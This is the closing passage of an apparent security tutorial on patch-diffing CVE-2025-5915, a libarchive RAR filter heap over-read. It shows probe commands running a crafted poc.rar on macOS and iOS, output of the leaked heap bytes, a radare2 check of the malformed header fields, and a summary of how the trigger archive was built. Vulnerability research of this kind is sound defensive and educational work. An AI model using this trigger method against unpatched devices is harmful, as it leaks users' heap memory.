Bad RAR file data is the patched library refusing the archive before the copy, which is the bounds check firing. File CRC error means the copy went ahead: libarchive read past the window, mixed whatever was next to it into the decompressed output, and only noticed at the end when the entry checksum did not match.

On the device:

./syslib_probe poc.rar

The unpatched signature, from Apple's own libarchive. As a control, the unmodified benign_filter.rar reads through the same library with no error, so filter support is present and reachable and it is our archive specifically that is mishandled.

Looking at what came out

The over-read pulls heap bytes into the decompressed stream, so what libarchive returns should not match the file the archive actually contains. Dump both and compare:

./syslib_probe poc.rar leaked.bin
./syslib_probe benign_filter.rar real.bin
head -c 65536 real.bin > real64k.bin
cmp -l real64k.bin leaked.bin | wc -l
58762

Nearly 59,000 of 65,536 bytes are not the file. The archive holds a Windows PE, which opens the way every PE does:

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS

What the trigger produces instead: no MZ, no DOS stub, none of the file. Those bytes came off the heap next to the undersized window, and libarchive handed them back as archive contents. That is the information disclosure the CVE describes, on a shipping iOS release.

Nothing segfaults here, because real malloc has mapped neighbours and a 57KB over-read stays inside valid pages. That is why the ASan build earlier in this step matters, and why relying on crashes to find these bugs misses most of them. Showing that the output is full of heap data is one thing; choosing which heap data would mean arranging for something interesting to sit next to that allocation, which is heap grooming and where a crash starts becoming an exploit.

Step 7: Verifying the trigger in radare2

We built the file with a script, so it is worth opening it in a hex editor and checking the script did what it claimed. A RAR archive is data rather than code, so we use radare2 as a structured viewer rather than a disassembler:

r2 poc.rar
The constructed trigger opened in radare2
The constructed trigger opened in radare2.

The first seven bytes are the RAR v4 signature, Rar!\x1a\x07\x00. After that come the block headers. Seek to the file header at 0x14 and lay a format over it rather than counting bytes by hand:

s 0x14
pf n2n1n2n2n4n4 head_crc head_type head_flags head_size pack_size unp_size
Parsing the RAR file header fields in radare2
Parsing the RAR file header fields in radare2.

n2 and n4 are 2- and 4-byte little-endian numbers, n1 a single byte. head_type = 116 is 0x74, the file header, and unp_size = 16 is our edit, sitting at offset 0x1f exactly where the script said it put it.

Conclusion

We started with nothing but a CVE identifier and finished with a precise understanding of the bug, confirmed by a crash.

Working backwards from commit a612bf62 told us which of its seven hunks was the security fix and which two attacker-controlled values were never checked against each other. That was enough to state the crash condition as an inequality, blocklength > dictionary_size, and then go and build a file that satisfies it: shrink an existing archive's declared size until the window no longer fits the filter that was already inside it, and repair the header checksum so libarchive would accept the edit.

AddressSanitizer then reported exactly the over-read we had predicted before running it, 65,504 bytes, on macOS and again on an iPhone. The leak size is a parameter too, adjustable from 57KB to 65KB by changing a single integer in the header.

The same understanding is what let us answer a question the CVE record does not: whether this reaches iOS. The version string is no help, since iOS 18.5 and 18.6 both report libarchive 3.7.4 and only 18.5 is exploitable. Settling it meant pulling parse_filter out of the shared cache and looking for the compare instruction, then confirming the result on a device, and knowing what to look for came from the patch.

That is what patch diffing buys you. Going forward, you can learn more about fuzzing and exploit development in our course iOS Userland Fuzzing & Exploitation, where we explain how to fuzz and exploit such vulnerabilities in depth.


References

  • CVE-2025-5915 on NVD
  • libarchive issue #2565, the original report by JJLeo, crediting research by Yifan Zhang of PLL at Peking University
  • libarchive commit a612bf62, "rar: Fix heap-buffer-overflow (#2599)"
  • libarchive 3.8.0 release
  • AddressSanitizer documentation